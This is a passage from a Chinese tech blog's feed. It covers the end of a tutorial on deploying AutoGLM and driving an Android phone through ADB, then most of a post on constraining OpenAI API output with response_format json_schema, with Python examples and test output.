HEAD</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /docs, Methods: GET, HEAD</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /docs/oauth2-redirect, Methods: GET, HEAD</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /redoc, Methods: GET, HEAD</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /health, Methods: GET</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /load, Methods: GET</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /pause, Methods: POST</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /resume, Methods: POST</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /is_paused, Methods: GET</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /tokenize, Methods: POST</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /detokenize, Methods: POST</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v1/models, Methods: GET</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /version, Methods: GET</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v1/responses, Methods: POST</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v1/responses/&#123;response_id&#125;, Methods: GET</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v1/responses/&#123;response_id&#125;/cancel, Methods: POST</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v1/messages, Methods: POST</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v1/chat/completions, Methods: POST</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v1/completions, Methods: POST</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v1/audio/transcriptions, Methods: POST</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v1/audio/translations, Methods: POST</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /scale_elastic_ep, Methods: POST</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /is_scaling_elastic_ep, Methods: POST</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /inference/v1/generate, Methods: POST</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /ping, Methods: GET</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /ping, Methods: POST</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /invocations, Methods: POST</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /metrics, Methods: GET</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /classify, Methods: POST</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v1/embeddings, Methods: POST</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /score, Methods: POST</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v1/score, Methods: POST</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /rerank, Methods: POST</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v1/rerank, Methods: POST</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v2/rerank, Methods: POST</span><br><span class="line">(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /pooling, Methods: POST</span><br><span class="line">(APIServer pid=1433) INFO:     Started server process [1433]</span><br><span class="line">(APIServer pid=1433) INFO:     Waiting for application startup.</span><br><span class="line">(APIServer pid=1433) INFO:     Application startup complete.</span><br><span class="line"></span><br></pre></td></tr></table></figure></div></details><h2 id="3-本地使用AutoGLM">3. 本地使用AutoGLM</h2><h3 id="3-1-项目克隆">3.1. 项目克隆</h3><p>AutoGLM是一个定制的模型，必须要配合智谱开源的PhoneAgent SDK一起使用，需要本地有Python3.10+的环境</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 克隆仓库</span></span><br><span class="line">git <span class="built_in">clone</span> https://github.com/zai-org/Open-AutoGLM.git</span><br><span class="line"><span class="comment"># 安装依赖</span></span><br><span class="line"><span class="built_in">cd</span> Open-AutoGLM</span><br><span class="line"><span class="comment"># 注意不要修改这个文件，只用安装里面给出的openai&gt;=2.9.0和Pillow&gt;=12.0.0</span></span><br><span class="line">pip install -r requirements.txt </span><br></pre></td></tr></table></figure><p>这里只是安装好了SDK的依赖，我们还需要给当前电脑配置ADB、链接手机到电脑上、给手机安装ADBKeyBoard等等操作。</p><p>考虑到AutoGLM模型面向的客户群体应该都会配置这些环境，本文就不多赘述了。如果你不太清楚咋配置ADB命令环境，请参考AutoGLM仓库的README，这里直接把README拷贝了过来：</p><div class="note info modern"><p><strong>安装ADB</strong>：</p><ol><li>下载官方 ADB <a href="https://developer.android.com/tools/releases/platform-tools?hl=zh-cn">安装包</a>，并解压到自定义路径</li><li>配置环境变量：<ol><li>MacOS 配置方法：在 <code>Terminal</code> 或者任何命令行工具里执行<code>export PATH=${PATH}:~/Downloads/platform-tools</code>，这里假设解压后的目录为 <code>~/Downlaods/platform-tools</code>。如果不是请自行调整命令。</li><li>Windows 配置方法：可参考 <a href="https://blog.csdn.net/x2584179909/article/details/108319973">第三方教程</a> 进行配置。</li></ol></li></ol><p><strong>安卓设备开启调试模式</strong>：</p><ol><li>开发者模式启用：通常启用方法是，找到 <code>设置-关于手机-版本号</code> 然后连续快速点击 10<br>次左右，直到弹出弹窗显示“开发者模式已启用”。不同手机会有些许差别，如果找不到，可以上网搜索一下教程。</li><li>USB 调试启用：启用开发者模式之后，会出现 <code>设置-开发者选项-USB 调试</code>，勾选启用</li><li>部分机型在设置开发者选项以后, 可能需要重启设备才能生效. 可以测试一下: 将手机用USB数据线连接到电脑后, <code>adb devices</code>查看是否有设备信息, 如果没有说明连接失败。<strong>请务必仔细检查相关权限</strong></li></ol><p><strong>安装 ADB Keyboard</strong>（用于文本输入，搞UI自动化基本都要装这个）：</p><ol><li>下载 <a href="https://github.com/senzhk/ADBKeyBoard/blob/master/ADBKeyboard.apk">安装包</a> 并在对应的安卓设备中进行安装。</li><li>注意，安装完成后还需要到 <code>设置-输入法</code> 或者 <code>设置-键盘列表</code> 中启用 <code>ADB Keyboard</code> 才能生效</li></ol></div><h3 id="3-2-运行Agent">3.2. 运行Agent</h3><p>安装完毕依赖之后，就可以直接运行了，把模型的base-url改成AutoDL上部署的外网url就可以了</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">python main.py \</span><br><span class="line">    --base-url http://你的AutoDL服务地址:8443/v1 \</span><br><span class="line">    --model <span class="string">&quot;autoglm-phone-9b&quot;</span> \</span><br><span class="line">    <span class="string">&quot;帮我打开美团，买一杯瑞幸的椰香拿铁&quot;</span></span><br></pre></td></tr></table></figure><p>这里提醒一下，手机安装好ADBKeyBoard之后，<strong>必须要把手机默认输入法改成ADBKeyBoard</strong>，否则Agent在操作的时候还是会呼出给人用的输入法，导致没办法正常输入文字</p><p>main.py启动的时候，会对环境进行检查，模型url是否有效进行检查，检查通过了，就会开始任务（如下图所示），这时候你就可以看看你的手机，他是不是真运行起来啦！</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/12/f24a4e411e0b86874c5fd063d6bbbae4.webp" alt="image.png"></p><p>注意，PhoneAgent是和AutoGLM绑定的，<strong>使用其他VL模型是没有用的</strong>！</p><h2 id="4-The-end">4. The end</h2><p>部署和使用到这里就结束啦！有什么问题欢迎评论区交流。</p><p>我现在就希望AutoGLM能有一个量化版本，能在Mac机器上用ollama之类的工具运行，这样就更好了。9b的模型理论上是可以被32GB内存的Mac加载运行的。不过我个人对大模型不太了解，不确定AutoGLM是否会强依赖Cuda环境，所以我的这个想法可能有失偏颇。</p><hr><p><strong>这里额外提一嘴</strong>：可能有朋友疑惑，为啥AutoGLM只支持安卓呢？</p><p>那是因为iOS的UI自动化，涉及到的Xcode配置、WDA配置、连手机、证书配置、开发者app认证那叫一个繁琐麻烦，不同iOS版本的很多系统级别弹窗样式都不一样，也得专门做适配。</p><p>总结来说：就是iOS的生态封闭，自动化配置麻烦。不同iOS系统版本之间变化大，为iOS做适配投入产出比不搞，<strong>纯纯是吃力不讨好</strong>。可不是安卓这边所有手机都内置的ADB那么方便的！</p><p>慕雪个人觉得，为鸿蒙做适配都比iOS容易！所有纯血鸿蒙的手机也都内置了hdc能力，本质上和安卓的adb是一套类似的工具！</p><hr class="footnotes-sep"><section class="footnotes"><ol class="footnotes-list"><li id="fn1" class="footnote-item"><p>参考：<a href="https://github.com/zai-org/Open-AutoGLM/issues/5">https://github.com/zai-org/Open-AutoGLM/issues/5</a> <a href="#fnref1" class="footnote-backref">↩︎</a></p></li></ol></section>]]></content>
    
    
    <summary type="html">在AutoDL上部署智谱最新开源的AutoGLM</summary>
    
    
    
    <category term="编程学习" scheme="https://blog.musnow.top/categories/%E7%BC%96%E7%A8%8B%E5%AD%A6%E4%B9%A0/"/>
    
    <category term="测试开发那些事" scheme="https://blog.musnow.top/categories/%E7%BC%96%E7%A8%8B%E5%AD%A6%E4%B9%A0/%E6%B5%8B%E8%AF%95%E5%BC%80%E5%8F%91%E9%82%A3%E4%BA%9B%E4%BA%8B/"/>
    
    
    <category term="AI" scheme="https://blog.musnow.top/tags/AI/"/>
    
    <category term="测试开发" scheme="https://blog.musnow.top/tags/%E6%B5%8B%E8%AF%95%E5%BC%80%E5%8F%91/"/>
    
  </entry>
  
  <entry>
    <title>【Agent.10】OpenAI接口输出格式约束（response_format）</title>
    <link href="https://blog.musnow.top/posts/7980046278/"/>
    <id>https://blog.musnow.top/posts/7980046278/</id>
    <published>2025-11-30T13:00:00.000Z</published>
    <updated>2025-12-06T06:22:06.000Z</updated>
    
    <content type="html"><![CDATA[<p>欢迎阅读慕雪撰写的AI Agent专栏，本专栏目录如下</p><ol class="series-items"><li><a href="/posts/2831928244/" title="【MCP】详细了解MCP协议：和function call的区别何在？如何使用MCP？">【MCP】详细了解MCP协议：和function call的区别何在？如何使用MCP？</a></li><li><a href="/posts/4710483697/" title="【AI】AI对26届及今后计算机校招的影响">【AI】AI对26届及今后计算机校招的影响</a></li><li><a href="/posts/6796656750/" title="【Agent.01】AI Agent智能体开发专题引言">【Agent.01】AI Agent智能体开发专题引言</a></li><li><a href="/posts/6151856853/" title="【Agent.02】市面上常见的大模型有哪些？">【Agent.02】市面上常见的大模型有哪些？</a></li><li><a href="/posts/5745961587/" title="【Agent.03】带你学会写一个基础的Prompt">【Agent.03】带你学会写一个基础的Prompt</a></li><li><a href="/posts/4044218607/" title="【Agent.04】AI时代的hello world：调用OpenAI接口，与大模型交互">【Agent.04】AI时代的hello world：调用OpenAI接口，与大模型交互</a></li><li><a href="/posts/5189745838/" title="【Agent.05】OpenAI接口Function Calling工具调用详解">【Agent.05】OpenAI接口Function Calling工具调用详解</a></li><li><a href="/posts/2999693839/" title="【Agent.06】使用openai sdk实现多轮对话">【Agent.06】使用openai sdk实现多轮对话</a></li><li><a href="/posts/1697221744/" title="【Agent.07】什么是Agent？从Chat到ReAct的AI进化之路">【Agent.07】什么是Agent？从Chat到ReAct的AI进化之路</a></li><li><a href="/posts/8376761897/" title="【Agent.08】LangChain的第一个Demo：从零开始构建Agent">【Agent.08】LangChain的第一个Demo：从零开始构建Agent</a></li><li><a href="/posts/1111260513/" title="【Agent.09】LangChain里面使用MCP工具">【Agent.09】LangChain里面使用MCP工具</a></li><li><a href="/posts/7980046278/" title="【Agent.10】OpenAI接口输出格式约束（response_format）">【Agent.10】OpenAI接口输出格式约束（response_format）</a></li></ol><p>本专栏所有代码都会归档至 <a href="https://gitee.com/musnows/agent-blog">musnows/agent-blog</a> 开源仓库。</p><h2 id="1-引言">1. 引言</h2><p>Agent专栏已经写到LangChain部分了，突然想起来，还遗漏了一个重要的OpenAI接口提供的特性没有使用：结果response_format的格式化输出。</p><p>在一般情况下，AI输出的都是自然语言，和我们人类输入的信息一样。在一般的问答Agent场景中，输出自然语言是OK的，但当我们希望使用AI来生成测试用例、分析报告、数据总结等等信息的时候，就会需要AI输出<strong>结构化</strong>的数据，这样我们才能进行有效的解析和后处理。</p><blockquote><p>在继续阅读本文之前，你需要对序列化、反序列化概念有所了解，并知晓json序列化协议的基本结构。</p></blockquote><p>举个最简单的例子：当我们需要AI输出针对需求的测试用例时，如果AI使用的是自然语言输出，如“链接网络，打开手机APP，点击播放视频的按钮，确认视频能正常播放”，我们就<strong>没有办法</strong>对这个测试用例进行有效拆分，从而提取出前置条件、测试步骤、预期结果。</p><p>但如果我们要求AI以json格式输出这些信息，解析这个测试用例就很容易了，比如要求AI按如下格式输出：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;preStep&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="string">&quot;链接网络&quot;</span><span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;testStep&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="string">&quot;打开手机APP&quot;</span><span class="punctuation">,</span><span class="string">&quot;点击播放视频的按钮&quot;</span><span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;expectation&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="string">&quot;视频能正常播放&quot;</span><span class="punctuation">]</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>有了这个json，我们想解析前置步骤、测试步骤、预期结果就非常简单了，直接对json进行反序列化（如python里面的<code>json.loads</code>）就可以加载到这串结构化的数据，进行后续的其他处理了。</p><h2 id="2-怎么约束输出格式？">2. 怎么约束输出格式？</h2><p>理解了这个背景后，想必你已经知道为啥需要让AI结构化输出信息了。那要怎么做呢？</p><p>最简单的做法，就是在Prompt里面新增<strong>输出格式</strong>的要求，让AI遵循我们的要求，直接在回答里面输出json或其他可序列化的格式（xml、yaml），然后我们对返回的string进行解析，得到最终的结构化数据。</p><p>但是，这样做有非常大的弊端：</p><ol><li><strong>AI可能因为幻觉，不按我们预定的格式进行输出</strong>：现在的AI对Prompt遵循性相比半年之前有显著提升，这个问题出现次数减少了。</li><li><strong>AI可能会在输出中包含其他说明文字</strong>：这个问题至今依旧没有解决，AI总是喜欢给你加点其他说明，即便Prompt里面多次说明“禁止包含其他信息”</li><li><strong>AI可能使用markdown代码块包裹信息输出，而不是只输出结构化数据</strong>：需要我们处理返回值里面的markdown代码块</li></ol><p>所以，OpenAI提供了json_schema格式化输出的约定字段，可以要求AI依照预定的response_format进行输出。</p><p>注意，这个字段依赖于OpenAI服务提供商对response_format支持，如果你使用的是第三方服务商提供的OpenAI兼容API，需要查看该服务商的文档，确认其支持response_format字段。目前轨迹流动是支持的，而美团的LongCat就不支持（不会遵循response_format）。</p><p>测试方式也比较简单，用本文给出的response_format设置代码去测试请求一次就能看出来AI是否有遵循response_format了。</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.musnow.top/i/2025/11/0e8cdc8719436830918ef4338945a793.webp" alt="image.png"></p><h2 id="3-使用json-schema限定AI输出格式">3. 使用json_schema限定AI输出格式</h2><p>使用openai的python sdk，我们可以直接在创建会话的时候，传入response_format字段对返回值进行格式控制。</p><p>代码如下所示，我们希望AI格式化解析用户提供的购物清单，精准输出购买商品的名字name、数量quantity、单位unit。</p><p>在response_format的设置中，<code>&quot;type&quot;: &quot;array&quot;</code>代表items是一个json的list，<code>&quot;type&quot;: &quot;object&quot;</code>则代表是一个json的对象（对应python的dict）。给定的name/quantity/unit这三个字段都是<code>required</code>必填字段，<code>&quot;strict&quot;: True</code>则是要求AI必须严格遵循这个结构进行输出。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> openai <span class="keyword">import</span> OpenAI</span><br><span class="line"><span class="keyword">from</span> dotenv <span class="keyword">import</span> load_dotenv</span><br><span class="line"></span><br><span class="line">load_dotenv(override=<span class="literal">True</span>)</span><br><span class="line"></span><br><span class="line">OPENAI_API_KEY = os.getenv(<span class="string">&quot;OPENAI_API_KEY&quot;</span>, <span class="string">&quot;&quot;</span>)</span><br><span class="line">OPENAI_BASE_URL = os.getenv(<span class="string">&quot;OPENAI_BASE_URL&quot;</span>, <span class="string">&quot;https://api.siliconflow.cn/v1&quot;</span>)</span><br><span class="line">OPENAI_MODEL = os.getenv(<span class="string">&quot;OPENAI_MODEL&quot;</span>, <span class="string">&quot;Qwen/Qwen3-8B&quot;</span>)</span><br><span class="line"></span><br><span class="line">client = OpenAI(</span><br><span class="line">    api_key=OPENAI_API_KEY,</span><br><span class="line">    base_url=OPENAI_BASE_URL</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">parse_shopping_list_with_schema</span>(<span class="params">user_input: <span class="built_in">str</span></span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;使用JSON Schema解析购物清单&quot;&quot;&quot;</span></span><br><span class="line">    response = client.chat.completions.create(</span><br><span class="line">        model=OPENAI_MODEL,</span><br><span class="line">        messages=[</span><br><span class="line">            &#123;<span class="string">&quot;role&quot;</span>: <span class="string">&quot;system&quot;</span>, <span class="string">&quot;content&quot;</span>: <span class="string">&quot;解析用户输入的购物清单，生成结构化数据&quot;</span>&#125;,</span><br><span class="line">            &#123;<span class="string">&quot;role&quot;</span>: <span class="string">&quot;user&quot;</span>, <span class="string">&quot;content&quot;</span>: user_input&#125;</span><br><span class="line">        ],</span><br><span class="line">        response_format=&#123;</span><br><span class="line">            <span class="string">&quot;type&quot;</span>: <span class="string">&quot;json_schema&quot;</span>,</span><br><span class="line">            <span class="string">&quot;json_schema&quot;</span>: &#123;</span><br><span class="line">                <span class="string">&quot;name&quot;</span>: <span class="string">&quot;shopping_list&quot;</span>,</span><br><span class="line">                <span class="string">&quot;schema&quot;</span>: &#123;</span><br><span class="line">                    <span class="string">&quot;type&quot;</span>: <span class="string">&quot;object&quot;</span>,</span><br><span class="line">                    <span class="string">&quot;properties&quot;</span>: &#123;</span><br><span class="line">                        <span class="string">&quot;items&quot;</span>: &#123;</span><br><span class="line">                            <span class="string">&quot;type&quot;</span>: <span class="string">&quot;array&quot;</span>,</span><br><span class="line">                            <span class="string">&quot;items&quot;</span>: &#123;</span><br><span class="line">                                <span class="string">&quot;type&quot;</span>: <span class="string">&quot;object&quot;</span>,</span><br><span class="line">                                <span class="string">&quot;properties&quot;</span>: &#123;</span><br><span class="line">                                    <span class="string">&quot;name&quot;</span>: &#123;<span class="string">&quot;type&quot;</span>: <span class="string">&quot;string&quot;</span>&#125;,</span><br><span class="line">                                    <span class="string">&quot;quantity&quot;</span>: &#123;<span class="string">&quot;type&quot;</span>: <span class="string">&quot;integer&quot;</span>&#125;,</span><br><span class="line">                                    <span class="string">&quot;unit&quot;</span>: &#123;<span class="string">&quot;type&quot;</span>: <span class="string">&quot;string&quot;</span>&#125;</span><br><span class="line">                                &#125;,</span><br><span class="line">                                <span class="string">&quot;required&quot;</span>: [<span class="string">&quot;name&quot;</span>, <span class="string">&quot;quantity&quot;</span>, <span class="string">&quot;unit&quot;</span>]</span><br><span class="line">                            &#125;</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125;,</span><br><span class="line">                    <span class="string">&quot;required&quot;</span>: [<span class="string">&quot;items&quot;</span>],</span><br><span class="line">                    <span class="string">&quot;strict&quot;</span>: <span class="literal">True</span></span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    )</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> response.choices[<span class="number">0</span>].message.content</span><br></pre></td></tr></table></figure><p>其他更复杂的格式都是在这套的基础上进行扩展，可把你的需要直接发送给编程AI助手，让他根据你的需要生成对应的json格式要求就可以了。</p><h2 id="4-效果对比">4. 效果对比</h2><h3 id="4-1-使用Prompt限定代码">4.1. 使用Prompt限定代码</h3><p>作为对比，这里提供了一份使用Prompt限定输出格式的OpenAI调用</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">parse_shopping_list_with_prompt</span>(<span class="params">user_input: <span class="built_in">str</span></span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;使用prompt限定格式解析购物清单&quot;&quot;&quot;</span></span><br><span class="line">    system_prompt = <span class="string">&quot;&quot;&quot;你是一个购物清单解析助手。请解析用户的购物清单，并严格按照以下JSON格式返回：</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">&#123;</span></span><br><span class="line"><span class="string">  &quot;items&quot;: [</span></span><br><span class="line"><span class="string">    &#123;</span></span><br><span class="line"><span class="string">      &quot;name&quot;: &quot;商品名称&quot;,</span></span><br><span class="line"><span class="string">      &quot;quantity&quot;: 数量,</span></span><br><span class="line"><span class="string">      &quot;unit&quot;: &quot;单位&quot;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">  ]</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">要求：</span></span><br><span class="line"><span class="string">1. 必须返回有效的JSON格式</span></span><br><span class="line"><span class="string">2. name字段为字符串类型</span></span><br><span class="line"><span class="string">3. quantity字段为整数类型</span></span><br><span class="line"><span class="string">4. unit字段为字符串类型</span></span><br><span class="line"><span class="string">5. 所有字段都是必需的</span></span><br><span class="line"><span class="string">6. 不要添加任何额外的文字说明，只返回JSON</span></span><br><span class="line"><span class="string">7. 不要使用markdown代码块格式</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">    response = client.chat.completions.create(</span><br><span class="line">        model=OPENAI_MODEL,</span><br><span class="line">        messages=[</span><br><span class="line">            &#123;<span class="string">&quot;role&quot;</span>: <span class="string">&quot;system&quot;</span>, <span class="string">&quot;content&quot;</span>: system_prompt&#125;,</span><br><span class="line">            &#123;<span class="string">&quot;role&quot;</span>: <span class="string">&quot;user&quot;</span>, <span class="string">&quot;content&quot;</span>: user_input&#125;</span><br><span class="line">        ],</span><br><span class="line">        temperature=<span class="number">0.1</span> <span class="comment"># 温度越低AI回答越不容易跑偏</span></span><br><span class="line">    )</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> response.choices[<span class="number">0</span>].message.content</span><br></pre></td></tr></table></figure><h3 id="4-2-测试结果">4.2. 测试结果</h3><blockquote><p>测试使用硅基流动的Qwen/Qwen3-8B模型</p></blockquote><p>使用“我买了苹果5斤，牛奶2箱，面包3个”进行测试，可以看到，Qwen/Qwen3-8B对这种简单任务的Prompt遵循性还不错，不管是使用response_format还是使用Prompt的方式进行指定，都按照我们的要求进行输出了，且没有提供任何的说明文字。但Qwen/Qwen3-8B还是输出了markdown代码块包裹了这个json（Prompt里面要求不要使用）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">测试用例 1:</span><br><span class="line">用户输入: 我买了苹果5斤，牛奶2箱，面包3个</span><br><span class="line"></span><br><span class="line">==================================================</span><br><span class="line">1. 使用JSON Schema方法:</span><br><span class="line">&#123;&quot;items&quot;: [&#123;&quot;name&quot;: &quot;苹果&quot;, &quot;quantity&quot;: 5, &quot;unit&quot;: &quot;斤&quot;&#125;, &#123;&quot;name&quot;: &quot;牛奶&quot;, &quot;quantity&quot;: 2, &quot;unit&quot;: &quot;箱&quot;&#125;, &#123;&quot;name&quot;: &quot;面包&quot;, &quot;quantity&quot;: 3, &quot;unit&quot;: &quot;个&quot;&#125;]&#125;</span><br><span class="line"></span><br><span class="line">------------------------------</span><br><span class="line">2. 使用prompt限定格式方法:</span><br><span class="line">```json</span><br><span class="line">&#123;</span><br><span class="line">  &quot;items&quot;: [</span><br><span class="line">    &#123;</span><br><span class="line">      &quot;name&quot;: &quot;苹果&quot;,</span><br><span class="line">      &quot;quantity&quot;: 5,</span><br><span class="line">      &quot;unit&quot;: &quot;斤&quot;</span><br><span class="line">    &#125;,</span><br><span class="line">    &#123;</span><br><span class="line">      &quot;name&quot;: &quot;牛奶&quot;,</span><br><span class="line">      &quot;quantity&quot;: 2,</span><br><span class="line">      &quot;unit&quot;: &quot;箱&quot;</span><br><span class="line">    &#125;,</span><br><span class="line">    &#123;</span><br><span class="line">      &quot;name&quot;: &quot;面包&quot;,</span><br><span class="line">      &quot;quantity&quot;: 3,</span><br><span class="line">      &quot;unit&quot;: &quot;个&quot;</span><br><span class="line">    &#125;</span><br><span class="line">  ]</span><br><span class="line">&#125;</span><br><span class="line">```</span><br></pre></td></tr></table></figure><p>相同一次运行里面的其他输入，他又可能不会输出markdown代码块（AI幻觉导致）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td 